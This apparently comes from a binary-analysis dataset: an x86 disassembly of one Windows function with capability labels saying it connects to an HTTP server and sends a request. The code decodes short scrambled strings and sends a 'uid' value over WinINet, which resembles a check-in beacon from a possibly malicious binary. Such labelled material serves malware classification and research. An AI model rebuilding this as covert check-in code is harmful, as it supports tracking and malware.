Function at 0x4029b0
Capabilities:
Connect to http server
Create http request
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x40388f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x464
push ebx
push ebp
push esi
push edi
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push str.kduef
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetTextCharsetInfo]
mov eax, dword [str.phaffjfdjg]
mov ecx, dword [0x404490]
mov dword [esp + 0x18], eax
mov al, byte [0x404498]
mov dword [esp + 0x1c], ecx
mov ecx, dword [str.8_:jfd]
mov byte [esp + 0x24], al
mov eax, dword [str.kh_mjfd]
mov dword [esp + 0x50], ecx
mov ecx, dword [0x40447c]
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], ecx
xor eax, eax
mov byte [esp + 0x58], bl
mov ecx, 0x40
lea edi, [esp + 0x59]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edx, dword [0x404494]
xor eax, eax
mov byte [esp + 0x268], bl
mov ecx, 0x40
lea edi, [esp + 0x269]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov byte [esp + 0x160], bl
mov ecx, 0x40
lea edi, [esp + 0x161]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [esp + 0x20], edx
mov edx, dword [0x404488]
stosb byte es:[edi], al
push 9
lea eax, [esp + 0x5c]
push eax
lea ecx, [esp + 0x20]
mov dword [esp + 0x5c], edx
mov dx, word [0x404480]
push ecx
mov ecx, esi
mov dword [esp + 0x20], ebx
mov word [esp + 0x58], dx
call fcn.00401640
push 9
lea edx, [esp + 0x26c]
push edx
lea eax, [esp + 0x58]
push eax
mov ecx, esi
call fcn.00401640
push 9
lea ecx, [esp + 0x164]
push ecx
lea edx, [esp + 0x4c]
push edx
mov ecx, esi
call fcn.00401640
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
lea eax, [esp + 0x58]
push eax
lea ecx, [esp + 0x2c]
mov dword [esp + 0x480], ebx
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea ecx, [esp + 0x28]
push ecx
lea ecx, [esp + 0x1c]
mov byte [esp + 0x480], 1
call fcn.00402920
lea ecx, [esp + 0x28]
mov byte [esp + 0x47c], bl
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea edx, [esp + 0x268]
push edx
lea ecx, [esp + 0x2c]
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x480], 2
call fcn.00402920
lea ecx, [esp + 0x28]
mov byte [esp + 0x47c], bl
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x160]
push ecx
lea ecx, [esp + 0x2c]
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea edx, [esp + 0x28]
push edx
lea ecx, [esp + 0x1c]
mov byte [esp + 0x480], 3
call fcn.00402920
lea ecx, [esp + 0x28]
mov byte [esp + 0x47c], bl
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push 0x3e8
push 1
lea eax, [esp + 0x20]
push eax
mov ecx, esi
call fcn.00402430
test eax, eax
jne 0x402c97
push ebx
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebp, eax
cmp ebp, ebx
je 0x402c69
push 1
push ebx
push 3
push 0x404294
push 0x404294
push 0x50
push 0x4061e0
push ebp
call dword [sym.imp.WININET.dll_InternetConnectA]
mov edi, eax
cmp edi, ebx
je 0x402c62
push str.__uid
lea ecx, [esp + 0x2c]
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
cmp dword [esp + 0x40], 0x10
mov eax, dword [esp + 0x2c]
jae 0x402c03
lea eax, [esp + 0x2c]
push 1
push 0x84480000
lea ecx, [esp + 0x378]
push ecx
push 0x404294
push str.HTTP_1.1
push eax
push 0x404290
push edi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov esi, eax
cmp esi, ebx
je 0x402c46
push ebx
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x402c46
mov dword [esp + 0x14], 1
lea ecx, [esp + 0x28]
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
cmp esi, ebx
je 0x402c5b
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebp
call dword [sym.imp.WININET.dll_InternetCloseHandle]
lea ecx, [esp + 0x18]
mov dword [esp + 0x47c], 0xffffffff
call fcn.004028c0
mov ecx, dword [esp + 0x474]
mov eax, dword [esp + 0x14]
pop edi
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [esp + 0x14], 1
jmp 0x402c69